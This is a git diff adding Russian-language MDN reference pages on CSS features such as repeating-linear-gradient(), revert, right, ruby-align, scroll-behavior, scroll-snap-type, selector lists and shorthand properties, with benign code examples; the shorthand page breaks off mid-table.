    • {{ Cssxref(":first") }}
      • +
    • {{ Cssxref(":first-child") }}
      • +
    • {{ Cssxref(":first-of-type") }}
      • +
    • {{ Cssxref(":fullscreen") }}
      • +
    • {{ Cssxref(":focus") }}
      • +
    • {{ Cssxref(":hover") }}
      • +
    • {{ Cssxref(":indeterminate") }}
      • +
    • {{ Cssxref(":in-range") }}
      • +
    • {{ Cssxref(":invalid") }}
      • +
    • {{ Cssxref(":lang", ":lang()") }}
      • +
    • {{ Cssxref(":last-child") }}
      • +
    • {{ Cssxref(":last-of-type") }}
      • +
    • {{ Cssxref(":left") }}
      • +
    • {{ Cssxref(":link") }}
      • +
    • {{ Cssxref(":not", ":not()") }}
      • +
    • {{ Cssxref(":nth-child", ":nth-child()") }}
      • +
    • {{ Cssxref(":nth-last-child", ":nth-last-child()") }}
      • +
    • {{ Cssxref(":nth-last-of-type", ":nth-last-of-type()") }}
      • +
    • {{ Cssxref(":nth-of-type", ":nth-of-type()") }}
      • +
    • {{ Cssxref(":only-child") }}
      • +
    • {{ Cssxref(":only-of-type") }}
      • +
    • {{ Cssxref(":optional") }}
      • +
    • {{ Cssxref(":out-of-range") }}
      • +
    • {{ Cssxref(":read-only") }}
      • +
    • {{ Cssxref(":read-write") }}
      • +
    • {{ Cssxref(":required") }}
      • +
    • {{ Cssxref(":right") }}
      • +
    • {{ Cssxref(":root") }}
      • +
    • {{ Cssxref(":scope") }}
      • +
    • {{ Cssxref(":target") }}
      • +
    • {{ Cssxref(":valid") }}
      • +
    • {{ Cssxref(":visited") }}
      • +
    +
    • +
+ +

Полный список селекторов в спецификации Selectors Level 3.

+ +

Обучение CSS3

+ +

Эти маленькие страницы описывают технологии, появившиеся в CSS3 или CSS2.1, но с плохой поддержкой браузерами до недавнего времени:

+ + + +

Концепции

+ + + +

DOM-CSS / CSSOM

+ +

Важнейшие типы объектов:

+ + + +

важные методы:

+ +
    +
  • {{domxref("CSSStyleSheet.insertRule")}}
    • +
  • {{domxref("CSSStyleSheet.deleteRule")}}
    • +
diff --git a/files/ru/web/css/repeating-linear-gradient()/index.html b/files/ru/web/css/repeating-linear-gradient()/index.html new file mode 100644 index 0000000000..e7dc20f24e --- /dev/null +++ b/files/ru/web/css/repeating-linear-gradient()/index.html @@ -0,0 +1,134 @@ +--- +title: repeating-linear-gradient() +slug: Web/CSS/repeating-linear-gradient() +translation_of: Web/CSS/repeating-linear-gradient() +--- +
{{CSSRef}}
+ +

CSS функция repeating-linear-gradient() создает изображение состоящее из повторяющихся линейных градиентов. Она схожа с {{cssxref("linear-gradient")}} и принимает те же аргументы, но повторяет переходы цветов бесконечно во всех направлениях покрывая весь контейнер. Функция возвращает объект типа {{cssxref("<gradient>")}}, являющегося разновидностью типа данных {{cssxref("<image>")}}.

+ +
/* Повторяющийся градиент с углом наклона 45 градусов,
+   начинающийся с синего и заканчивающийся красным цветом */
+repeating-linear-gradient(45deg, blue, red);
+
+/* Повторяющийся градиент идущий от нижнего правого угла к верхнему левому,
+   начинающийся с синего и заканчивающийся красным цветом */
+repeating-linear-gradient(to left top, blue, red);
+
+/* Повторяющийся градиент идущий от низа к верху,
+   начинающийся с синего, переходящего в зеленый на 40%,
+   и заканчивающийся красным цветом */
+repeating-linear-gradient(0deg, blue, green 40%, red);
+
+ +

С каждым повтором позиции цветов сдвигаются на величину кратную длине базового градиента (расстояние от позиции последнего цвета до позиции первого). Таким образом что позиция каждого последнего цвета совпадает с позицией стартового цвета. И если цвета отличаются это приведет к резкому визуальному переходу.

+ +

Повторяющийся линейный градиент (как и любой прочий градиент) не имеет размерностей по умолчанию; т.е. у него нет предопределенного размера либо пропорции. Его размер будет совпадать с размерами элемента к которому он применен.

+ +
+

Примечание: Поскольку <gradient> относится к типу данных <image> , он может быть использован только там где применим тип <image>. По этой причине repeating-linear-gradient() не будет работать с {{Cssxref("background-color")}} и прочими свойствами использующими тип данных {{cssxref("<color>")}}.

+
+ +

Синтаксис

+ +

Значения

+ +
+
<сторона-или-угол>
+
Положение точки начала линии градиента. Начинается со слова to и максимум двух ключевых слов: одно определяет сторону по горизонтали (left или right), и другое сторону по вертикали (top или bottom). Порядок ключевых слов определяющих сторону не важен. Если они не определены, по умолчанию используется to bottom.
+
Значения to top, to bottom, to left, и to right эквивалентны углам 0deg, 180deg, 270deg, и 90deg соответственно. Прочие значения транслируются в угол.
+
{{cssxref("<angle>", "<угол>")}}
+
Угол наклона линии направления градиента. Значение 0deg эквивалентно to top; увеличение значения приводит к повороту линии против часовой стрелки начиная от этой величины (0deg).
+
<цвет-позиция>
+
Значение {{cssxref("<color>", "<цвета>")}} с последующей (необязательной) его позицией (либо в {{cssxref("<percentage>", "<процентах>")}}, либо в единицах {{cssxref("<length>", "<длины>")}} вдоль оси градиента).
+
+
+

Примечание: Рендер перехода цветов в CSS градиентах следует тем же правилам что и в SVG градиентах.

+
+
+
+ +

Formal syntax

+ +
repeating-linear-gradient(  [ <угол> | to <сторона-или-угол> ,]? <цвет-позиция> [, <цвет-позиция>]+ )
+                            \---------------------------------/ \----------------------------/
+                              Определение линии градиента         Список цветов и их позиций
+
+где <сторона-или-угол> = [left | right] || [top | bottom]
+   и <цвет-позиция>    = <цвет> [ <процент> | <длина> ]?
+
+ +

Примеры

+ +

Полоски зебры

+ + + +
body {
+  background-image: repeating-linear-gradient(-45deg,
+      transparent,
+      transparent 20px,
+      black 20px,
+      black 40px);
+}
+
+ +

{{EmbedLiveSample('Полоски_зебры', 120, 120)}}

+ +

Повторяющиеся горизонтальные полосы

+ + + +
body {
+  background-image: repeating-linear-gradient(to bottom,
+      rgb(26,198,204),
+      rgb(26,198,204) 7%,
+      rgb(100,100,100) 10%);
+}
+
+ +

{{EmbedLiveSample('Повторяющиеся_горизонтальные_полосы', 120, 120)}}

+ +
+

Примечание: Для дополнительных примеров пожалуйста обратитесь к статье Using CSS gradients.

+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусПримечание
{{SpecName('CSS3 Images', '#repeating-gradients', 'repeating-linear-gradient()')}}{{Spec2('CSS3 Images')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{Compat("css.types.image.gradient.repeating-linear-gradient")}}
+ +

Дополнительно

+ +
    +
  • Using CSS gradients
    • +
  • Другие функции градиентов: {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("repeating-radial-gradient")}}
    • +
diff --git a/files/ru/web/css/resolved_value/index.html b/files/ru/web/css/resolved_value/index.html new file mode 100644 index 0000000000..8ea7300dd7 --- /dev/null +++ b/files/ru/web/css/resolved_value/index.html @@ -0,0 +1,37 @@ +--- +title: Решённое значение +slug: Web/CSS/resolved_value +tags: + - CSS +translation_of: Web/CSS/resolved_value +--- +
{{cssref}}
+ +

Решённое значение CSS свойства - значение, возвращаемое {{domxref("Window.getComputedStyle", "getComputedStyle()")}}. Для многих свойств, это {{cssxref("computed_value", "вычисленное значение") }}, но для старых свойств (включая {{cssxref("width")}} и {{cssxref("height")}}), это {{cssxref("used_value", "используемое значение")}}. Смотрите ссылку спецификации ниже для дополнильной информации.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSSOM", "#resolved-values", "resolved value")}}{{Spec2("CSSOM")}}Изначальное определение
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/revert/index.html b/files/ru/web/css/revert/index.html new file mode 100644 index 0000000000..3b61c5ad38 --- /dev/null +++ b/files/ru/web/css/revert/index.html @@ -0,0 +1,85 @@ +--- +title: revert +slug: Web/CSS/revert +translation_of: Web/CSS/revert +--- +
{{CSSRef}}
+ +

Ключевое слово revert (CSS) откатывает один текущий уровень каскада, таким образом свойство принимает такое значение, которое было бы, если бы не было никаких стилей в текущем источнике стилей (авторских, пользовательских или браузерных). Как следствие, оно сбрасывает свойство к значению по-умолчанию, которое было установлено браузером (или пользовательскими стилями, если такие имеются). Ключевое слово revert может быть применимо к любому свойству CSS, включая сокращённое свойство {{cssxref("all")}}.

+ +

Ключевое слово revert полезно для изоляции встраиваемых виджетов или компонентов от стилей страницы, где они размещаются, особенно, когда оно используется совместно со свойством {{cssxref("all")}} .

+ +

В пользовательских стилях revert откатывает каскад и сбрасывает свойство к значению по-умолчанию, которое было установлено браузером.

+ +
+

Ключевое слово revert отличается от {{cssxref("initial")}}, поэтому его не следует с ним путать. {{cssxref("initial")}} использует начальное значение, которое определено отдельно для каждого свойства CSS-спецификацией.  Для сравнения, браузеры устанавливают значения по-умолчанию в зависимости от CSS селектора.

+ +

Например, начальное значение для свойства {{cssxref("display")}} — inline, тогда как браузер устанавливает значение по-умолчанию свойства {{cssxref("display")}}  элемента {{HTMLElement("div")}} как block, а элемента {{HTMLElement("table")}} как table, и т.д

+
+ +

Пример

+ +

HTML

+ +
<section>
+  <p>Это секция!</p>
+
+  <aside class="widget">
+    <p>А это маленький виджет.</p>
+  </aside>
+</section>
+
+ +

CSS

+ +
section {
+  color: blue;
+  font-family: sans-serif;
+  font-weight: bold;
+}
+
+.widget {
+  all: revert;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Пример')}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Cascade', '#default', 'revert')}}{{Spec2('CSS4 Cascade')}}Initial definition.
+ +

Совместимость с браузерами

+ +
+
+ + +

{{Compat("css.types.global_keywords.revert")}}

+
+
+ +

Смотрите также

+ +
    +
  • Используйте {{cssxref("initial")}}, чтобы установить свойству начальное значение.
    • +
  • Используйте {{cssxref("unset")}}, чтобы установить свойству унаследованное значение, если оно наследуется, в противном случае начальное значение.
    • +
  • Используйте {{cssxref("inherit")}}, чтобы установить значение свойства элемента таким же, как у его родителя.
    • +
  • Свойство {{cssxref("all")}} позволяет одновременно сбросить все свойства к их начальному, унаследованному, откатанному или обнулённому состоянию.
    • +
diff --git a/files/ru/web/css/right/index.html b/files/ru/web/css/right/index.html new file mode 100644 index 0000000000..8944f81b7f --- /dev/null +++ b/files/ru/web/css/right/index.html @@ -0,0 +1,141 @@ +--- +title: right +slug: Web/CSS/right +tags: + - CSS + - CSS Позиционирование + - CSS свойство +translation_of: Web/CSS/right +--- +
{{CSSRef}}
+ +

CSS свойство right частично определяет горизонтальное положение позиционируемого элемента. Оно не влияет на непозиционируемые элементы (т.е. right не применится, если задано position: static).

+ +
{{EmbedInteractiveExample("pages/css/right.html")}}
+ + + +

Эффект свойства right зависит от того, как позиционируется элемент (то есть от значения свойства {{cssxref("position")}}):

+ +
    +
  • Когда задано position: absolute или fixed — свойство right устанавливает расстояние между правым краем элемента и правым краем содержащего его блока.
    • +
  • Когда задано position: relative — свойство right устанавливает расстояние, на которое правый край элемента перемещается влево от его обычной позиции.
    • +
  • Когда задано position: sticky — свойство right работает так, как при position: relative во время нахождения элемента внутри области просмотра, и как position: fixed вне области просмотра.
    • +
  • Когда задано position: static — свойство right не имеет никакого эффекта.
    • +
+ +

Когда заданы оба свойства {{cssxref("left")}} и right, и элемент не может растянуться, чтобы им соответсвовать, то позиционированние элемента is overspecified. В этом случае значение left имеет приоритет, when the container is left-to-right; и наоборот, значение right имеет приоритет, when the container is right-to-left.

+ +

Синтаксис

+ +
/* Значения величин */
+right: 3px;
+right: 2.4em;
+
+/* Процентные значения от высоты родительского блока */
+right: 10%;
+
+/* Ключевое слово */
+right: auto;
+
+/* Глобальные значения */
+right: inherit;
+right: initial;
+right: unset;
+
+ +

Значения

+ +
+
{{cssxref("<length>")}}
+
Отрицательная, нулевая или положительная величина, которая представляет: +
    +
  • for absolutely positioned elements, the distance to the right edge of the containing block.
    • +
  • for relatively positioned elements, the distance that the element is moved to the left of its normal position.
    • +
+
+
{{cssxref("<percentage>")}}
+
A {{cssxref("<percentage>")}} of the containing block's width.
+
auto
+
Specifies that: +
    +
  • for absolutely positioned elements, the position of the element is based on the {{Cssxref("left")}} property, while width: auto is treated as a width based on the content; or if left is also auto, the element is positioned where it should horizontally be positioned if it were a static element.
    • +
  • for relatively positioned elements, the distance of the element from its normal position is based on the {{Cssxref("left")}} property; or if left is also auto, the element is not moved horizontally at all.
    • +
+
+
inherit
+
Specifies that the value is the same as the computed value from its parent element (which might not be its containing block). This computed value is then handled as if it were a {{cssxref("<length>")}}, {{cssxref("<percentage>")}}, or the auto keyword.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
#example_3 {
+  width: 100px;
+  height: 100px;
+  background-color: #FFC7E4;
+  position: relative;
+  top: 20px;
+  left: 20px;
+}
+
+#example_4 {
+  width: 100px;
+  height: 100px;
+  background-color: #FFD7C2;
+  position: absolute;
+  bottom: 10px;
+  right: 20px;
+}
+ +
<div id="example_3">Example 3</div>
+<div id="example_4">Example 4</div>
+
+ +

{{ EmbedLiveSample('Examples', 500, 220) }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Transitions', '#animatable-css', 'right')}}{{Spec2('CSS3 Transitions')}}Defines right as animatable.
{{SpecName('CSS3 Positioning', '#propdef-right', 'right')}}{{Spec2('CSS3 Positioning')}}Adds behavior for sticky positioning.
{{SpecName('CSS2.1', 'visuren.html#propdef-right', 'right')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

{{cssinfo}}

+ +

Browser compatibility

+ + + +

{{Compat("css.properties.right")}}

+ +

See also

+ +
    +
  • {{cssxref("position")}}, {{cssxref("left")}}, {{cssxref("top")}}, {{cssxref("bottom")}}
    • +
diff --git a/files/ru/web/css/ruby-align/index.html b/files/ru/web/css/ruby-align/index.html new file mode 100644 index 0000000000..24870c5d3d --- /dev/null +++ b/files/ru/web/css/ruby-align/index.html @@ -0,0 +1,234 @@ +--- +title: ruby-align +slug: Web/CSS/ruby-align +translation_of: Web/CSS/ruby-align +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Summary

+ +

The ruby-align CSS property defines the distribution of the different ruby elements over the base.

+ +

{{cssinfo}}

+ +

Syntax

+ +
/* Keyword values */
+ruby-align: start;
+ruby-align: center;
+ruby-align: space-between;
+ruby-align: space-around;
+
+/* Global values */
+ruby-align: inherit;
+ruby-align: initial;
+ruby-align: unset;
+
+ +

Values

+ +
+
start
+
Is a keyword indicating that the ruby will be aligned with the start of the base text.
+
center
+
Is a keyword indicating that the ruby will be aligned at the middle of the base text
+
space-between
+
Is a keyword indicating that the extra space will be distributed between the elements of the ruby.
+
space-around
+
Is a keyword indicating that the extra space will be distributed between the elements of the ruby, and around it.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +

This HTML will render differently with each value of ruby-align:

+ +
<ruby>
+  <rb>This is a long text to check</rb>
+  <rp>（</rp><rt>short ruby</rt><rp>）</rp>
+</ruby>
+
+ +

Ruby aligned at the start of the base text

+ + + +
ruby {
+    ruby-align:start;
+}
+ +

This gives the following result:

+ +

{{EmbedLiveSample("Ruby_aligned_at_the_start_of_the_base_text", 180, 40)}}

+ +

Ruby aligned at the center of the base text

+ + + +
ruby {
+    ruby-align:center;
+}
+ +

This gives the following result:

+ +

{{EmbedLiveSample("Ruby_aligned_at_the_center_of_the_base_text", 180, 40)}}

+ +

Extra space distributed between ruby elements

+ + + +
ruby {
+    ruby-align:space-between;
+}
+ +

This gives the following result:

+ +

{{EmbedLiveSample("Extra_space_distributed_between_ruby_elements", 180, 40)}}

+ +

Extra space distributed between and around ruby element

+ + + +
ruby {
+    ruby-align:space-around;
+}
+ +

This gives the following result:

+ +

{{EmbedLiveSample("Extra_space_distributed_between_and_around_ruby_element", 180, 40)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Ruby', '#ruby-align-property', 'ruby-align') }}{{ Spec2('CSS3 Ruby') }}Initial definition
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatNo }} {{CompatGeckoDesktop(38)}}{{ CompatNo }} [1]{{ CompatNo }} {{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo }} {{CompatGeckoMobile(38)}}{{ CompatNo }} [1]{{ CompatNo }} CompatNo
+
+ +

[1] Internet Explorer, since IE9, implements an early draft of CSS Ruby where ruby-align had the following properties: auto, left, center, right, distribute-letter, distribute-space, and line-edge. Here is a rough conversion table:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
IE syntaxStandard syntax
autoDon't use ruby-align
leftUse start (in ltr scripts)
centercenter
rightUse start (in rtl scripts)
distribute-letterNo direct equivalent, use space-between or space-around
distribute-spacespace-around
line-edgeNo direct equivalent.
+ +

See also

+ +
    +
  • HTML Ruby elements: {{HTMLElement("ruby")}}, {{HTMLElement("rt")}}, {{HTMLElement("rp")}}, and {{HTMLElement("rtc")}}.
    • +
  • CSS Ruby properties: {{cssxref("ruby-position")}}, {{cssxref("ruby-merge")}}.
    • +
diff --git a/files/ru/web/css/scroll-behavior/index.html b/files/ru/web/css/scroll-behavior/index.html new file mode 100644 index 0000000000..8ba0b4f9f7 --- /dev/null +++ b/files/ru/web/css/scroll-behavior/index.html @@ -0,0 +1,114 @@ +--- +title: scroll-behavior +slug: Web/CSS/scroll-behavior +translation_of: Web/CSS/scroll-behavior +--- +
{{ CSSRef }}
+ +

Описание

+ +

scroll-behavior - CSS свойство, которое определяет поведение прокрутки для любого элемента на странице. Отрабатывается в момент автоматической прокрутки навигационных элементов, либо CSSOM прокручивается API. Любые другие прокручивания, например, те, которые выполняются пользователем, не затрагиваются этим свойством. Если это свойство указано на корневой элемент, оно относится ко всему viewport пространству.

+ +

Юзер-агенты могут игнорировать это свойство.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* Ключевые значения */
+scroll-behavior: auto;
+scroll-behavior: smooth;
+
+/* Глобальные свойства */
+scroll-behavior: inherit;
+scroll-behavior: initial;
+scroll-behavior: unset;
+
+ +

Значения

+ +
+
auto
+
Стандартное поведение прокрутки без эффекта плавности.
+
smooth
+
Элемент прокручивается плавно; используется функция тайминга, определяемая юзер-агентом через период времени, отмеченный в нем. Юзер-агенты должны следовать соглашениям платформы, если таковые имеются.
+
+ +

Синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML

+ +
<nav>
+  <a href="#page-1">1</a>
+  <a href="#page-2">2</a>
+  <a href="#page-3">3</a>
+</nav>
+<scroll-container>
+  <scroll-page id="page-1">1</scroll-page>
+  <scroll-page id="page-2">2</scroll-page>
+  <scroll-page id="page-3">3</scroll-page>
+</scroll-container>
+ +

CSS

+ +
a {
+  display: inline-block;
+  width: 50px;
+  text-decoration: none;
+}
+nav, scroll-container {
+  display: block;
+  margin: 0 auto;
+  text-align: center;
+}
+nav {
+  width: 339px;
+  padding: 5px;
+  border: 1px solid black;
+}
+scroll-container {
+  display: block;
+  width: 350px;
+  height: 200px;
+  overflow-y: scroll;
+  scroll-behavior: smooth;
+}
+scroll-page {
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  height: 100%;
+  font-size: 5em;
+}
+
+ +

Результат

+ +

{{ EmbedLiveSample('Example', "100%", 250) }}

+ +

Характеристики

+ + + + + + + + + + + + + + + + +
ХарактеристикаСтатусКомментарий
{{SpecName('CSSOM View', "#propdef-scroll-behavior", 'scroll-behavior')}}{{Spec2('CSSOM View')}}Initial specification
+ +

Совместимость с браузерами

+ +

{{Compat("css.properties.scroll-behavior")}}

diff --git a/files/ru/web/css/scroll-snap-type/index.html b/files/ru/web/css/scroll-snap-type/index.html new file mode 100644 index 0000000000..2691947063 --- /dev/null +++ b/files/ru/web/css/scroll-snap-type/index.html @@ -0,0 +1,247 @@ +--- +title: scroll-snap-type +slug: Web/CSS/scroll-snap-type +translation_of: Web/CSS/scroll-snap-type +--- +
{{CSSRef}}
+ +

CSS свойство scroll-snap-type определяет как строго прокрутка контейнера привязывается к  точкам привязки.

+ +
{{EmbedInteractiveExample("pages/css/scroll-snap-type.html")}}
+ + + +

Это свойство не уточняет какие именно анимации используются для привязки прокрутки, это остаётся за агентом пользователя.

+ +
/* Ключевые слова */
+scroll-snap-type: none;
+scroll-snap-type: x;
+scroll-snap-type: y;
+scroll-snap-type: block;
+scroll-snap-type: inline;
+scroll-snap-type: both;
+
+/* Опционально mandatory | proximity*/
+scroll-snap-type: x mandatory;
+scroll-snap-type: y proximity;
+scroll-snap-type: both mandatory;
+
+/* и т.д. */
+
+/* Глобальные значения */
+scroll-snap-type: inherit;
+scroll-snap-type: initial;
+scroll-snap-type: unset;
+
+ +

{{cssinfo}}

+ +

Синтаксис

+ +

Значения

+ +
+
none
+
Когда визуальный {{Glossary("viewport")}} этого контейнера прокручивается, точки прокрутки игнорируются.
+
x
+
Прокрутка контейнера привязывается только по горизонтальной оси.
+
y
+
Прокрутка контейнера привязывается только по вертикальной оси.
+
block
+
Прокрутка контейнера привязывается только по блоковой оси.
+
inline
+
Прокрутка контейнера привязывается только по строчной оси.
+
both
+
Прокрутка контейнера независимо привязывается только по обоим осям (потенциально может привязываться к разным элементам на разных осях).
+
mandatory
+
Визуальный viewport контейнера остаётся на точке привязки, если он в данный момент не прокручивается. То есть он привязывается к точке, когда прокручивание завершилось. Если контент добавлен, перемещён, удалён или если изменён его размер, прокрутка будет отрегулирована так, чтобы оставаться на этой же точке.
+
proximity
+
Визуальный viewport контейнера может оставаться на точке привязки, если он в данный момент не прокручивается, в зависимости от параметров пользовательского агента. Если контент добавлен, перемещён, удалён или если изменён его размер, прокрутка может быть отрегулирована так, чтобы оставаться на этой же точке.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML

+ +
<div class="holster">
+<div class="container x mandatory-scroll-snapping" dir="ltr">
+  <div>X Mand. LTR</div>
+  <div>2</div>
+  <div>3</div>
+  <div>4</div>
+  <div>5</div>
+</div>
+
+<div class="container x proximity-scroll-snapping" dir="ltr">
+  <div>X Prox. LTR</div>
+  <div>2</div>
+  <div>3</div>
+  <div>4</div>
+  <div>5</div>
+</div>
+
+<div class="container y mandatory-scroll-snapping" dir="ltr">
+  <div>Y Mand. LTR</div>
+  <div>2</div>
+  <div>3</div>
+  <div>4</div>
+  <div>5</div>
+</div>
+
+<div class="container y proximity-scroll-snapping" dir="ltr">
+  <div>Y Prox. LTR</div>
+  <div>2</div>
+  <div>3</div>
+  <div>4</div>
+  <div>5</div>
+</div>
+
+<div class="container x mandatory-scroll-snapping" dir="rtl">
+  <div>X Mand. RTL</div>
+  <div>2</div>
+  <div>3</div>
+  <div>4</div>
+  <div>5</div>
+</div>
+
+<div class="container x proximity-scroll-snapping" dir="rtl">
+  <div>X Prox. RTL</div>
+  <div>2</div>
+  <div>3</div>
+  <div>4</div>
+  <div>5</div>
+</div>
+
+<div class="container y mandatory-scroll-snapping" dir="rtl">
+  <div>Y Mand. RTL</div>
+  <div>2</div>
+  <div>3</div>
+  <div>4</div>
+  <div>5</div>
+</div>
+
+<div class="container y proximity-scroll-snapping" dir="rtl">
+  <div>Y Prox. RTL</div>
+  <div>2</div>
+  <div>3</div>
+  <div>4</div>
+  <div>5</div>
+</div>
+</div>
+
+ +

CSS

+ +
/* setup */
+html, body, .holster {
+  height: 100%;
+}
+.holster {
+  display: flex;
+  align-items: center;
+  justify-content: space-between;
+  flex-flow: column nowrap;
+  font-family: monospace;
+}
+
+.container {
+  display: flex;
+  overflow: auto;
+  outline: 1px dashed lightgray;
+  flex: none;
+}
+
+.container.x {
+  width: 100%;
+  height: 128px;
+  flex-flow: row nowrap;
+}
+
+.container.y {
+  width: 256px;
+  height: 256px;
+  flex-flow: column nowrap;
+}
+/* scroll-snap */
+.x.mandatory-scroll-snapping {
+  scroll-snap-type: x mandatory;
+}
+
+.y.mandatory-scroll-snapping {
+  scroll-snap-type: y mandatory;
+}
+
+.x.proximity-scroll-snapping {
+  scroll-snap-type: x proximity;
+}
+
+.y.proximity-scroll-snapping {
+  scroll-snap-type: y proximity;
+}
+
+.container > div {
+  text-align: center;
+  scroll-snap-align: center;
+  flex: none;
+}
+
+.x.container > div {
+  line-height: 128px;
+  font-size: 64px;
+  width: 100%;
+  height: 128px;
+}
+
+.y.container > div {
+  line-height: 256px;
+  font-size: 128px;
+  width: 256px;
+  height: 100%;
+}
+/* appearance fixes */
+.y.container > div:first-child {
+  line-height: 1.3;
+  font-size: 64px;
+}
+/* coloration */
+.container > div:nth-child(even) {
+  background-color: #87EA87;
+}
+
+.container > div:nth-child(odd) {
+  background-color: #87CCEA;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample("Пример", "100%", "1630")}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-snap-type", "scroll-snap-type")}}{{Spec2("CSS Scroll Snap Points")}}Initial definition
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.scroll-snap-type")}}

diff --git a/files/ru/web/css/selector_list/index.html b/files/ru/web/css/selector_list/index.html new file mode 100644 index 0000000000..3bf50932d0 --- /dev/null +++ b/files/ru/web/css/selector_list/index.html @@ -0,0 +1,99 @@ +--- +title: Список селекторов +slug: Web/CSS/Selector_list +tags: + - Верстка + - список селекторов +translation_of: Web/CSS/Selector_list +--- +
{{CSSRef}}
+ +

CSS список селекторов (,) выбирает все соответствующие ноды.

+ +
/* Выбирает все соответствующие элементы */
+span,
+div {
+  border: red 2px solid;
+}
+ +

Для уменьшения размеры таблицы стилей, можно использовать разделяемый запятой список селекторов.

+ +

Синтаксис

+ +
element, element, element { свойства стиля }
+ +

Примеры

+ +

Группирование на одной линии

+ +

Группирование селекторов списком, разделенным запятой, на одной строк.

+ +
h1, h2, h3, h4, h5, h6 { font-family: helvetica; }
+
+ +

Мультистрочное группирование

+ +

Группирование селекторов списком, разделенным запятой, на нескольких строках.

+ +
#main,
+.content,
+article {
+  font-size: 1.1em;
+}
+
+ +

Невалидные списки селекторов

+ +

Недостатком использования списков селекторов является то, что они не являются эквивалентными:

+ +
h1 { font-family: sans-serif }
+h2:maybe-unsupported { font-family: sans-serif }
+h3 { font-family: sans-serif }
+ +
h1, h2:maybe-unsupported, h3 { font-family: sans-serif }
+ +

Это происходит потому, что один неподдерживаемый селектор в списке селекторов делает недействительным все правило.

+ +

Есть способ исправить это - нужно использовать селектор {{CSSxRef(":is", ":is()")}}, который просто игнорирует недопустимые селекторы в своих аргумента, но за счет этого, все селекторы имеют одинаковую спецификацию, так как {{CSSxRef(":is", ":is()")}} вычисляет спецификацию.

+ +
h1 { font-family: sans-serif }
+h2:maybe-unsupported { font-family: sans-serif }
+h3 { font-family: sans-serif }
+ +
:is(h1, h2:maybe-unsupported, h3) { font-family: sans-serif }
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#grouping", "Selector Lists")}}{{Spec2("CSS4 Selectors")}}Переименованно в "selector list"
{{SpecName('CSS1', '#grouping', 'grouping')}}{{Spec2('CSS1')}}Первое определение
+ +

Поддержка браузерами

+ + + +

{{Compat("css.selectors.list")}}

+ +

Смотрите также

+ +
    +
  • The {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}} and {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} pseudo-classes, which don't have the legacy mistake that is selector list invalidation.
    • +
diff --git a/files/ru/web/css/shorthand_properties/index.html b/files/ru/web/css/shorthand_properties/index.html new file mode 100644 index 0000000000..5ac6911db1 --- /dev/null +++ b/files/ru/web/css/shorthand_properties/index.html @@ -0,0 +1,143 @@ +--- +title: Краткая форма записи свойств +slug: Web/CSS/Shorthand_properties +tags: + - CSS + - Guide + - Reference +translation_of: Web/CSS/Shorthand_properties +--- +
{{cssref}}
+ +

Сокращенные свойства - это такие CSS свойства, которые позволяют одновременно устанавливать значения нескольких других свойств. Используя сокращенное свойство, вы можете писать более сжатые (и часто более читаемые) таблицы стилей, экономя время и энергию.

+ +

The CSS specification defines shorthand properties to group the definition of common properties acting on the same theme. For instance, the CSS {{cssxref("background")}} property is a shorthand property that's able to define the values of {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, and {{cssxref("background-position")}}. Similarly, the most common font-related properties can be defined using the shorthand {{cssxref("font")}}, and the different margins around a box can be defined using the {{cssxref("margin")}} shorthand.

+ +

Tricky edge cases

+ +

Even if they are very convenient to use, there are a few edge cases to keep in mind when using them:

+ +
    +
  1. A value which is not specified is set to its initial value. That sounds anecdotal, but it really means that it overrides previously set values. Therefore: + + 
    background-color: red;
+background: url(images/bg.gif) no-repeat left top;
+
    + will not set the color of the background to red but to {{cssxref("background-color")}}'s default, transparent, as the second rule has precedence.
    2. +
  2. Only the individual properties values can inherit. As missing values are replaced by their initial value, it is impossible to allow inheritance of individual properties by omitting them. The keyword inherit can be applied to a property, but only as a whole, not as a keyword for one value or another. That means that the only way to make some specific value to be inherited is to use the longhand property with the keyword inherit.
    3. +
  3. Shorthand properties try not to force a specific order for the values of the properties they replace. This works well when these properties use values of different types, as the order has no importance, but this does not work as easily when several properties can have identical values. Handling of these cases are grouped in several categories: +
      +
    1. Shorthands handling properties related to edges of a box, like {{cssxref("border-style")}}, {{cssxref("margin")}} or {{cssxref("padding")}}, always use a consistent 1-to-4-value syntax representing those edges: + + + + + + + + + + + + + + + + + + + +
      border1.pngThe 1-value syntax: border-width: 1em — The unique value represents all edges
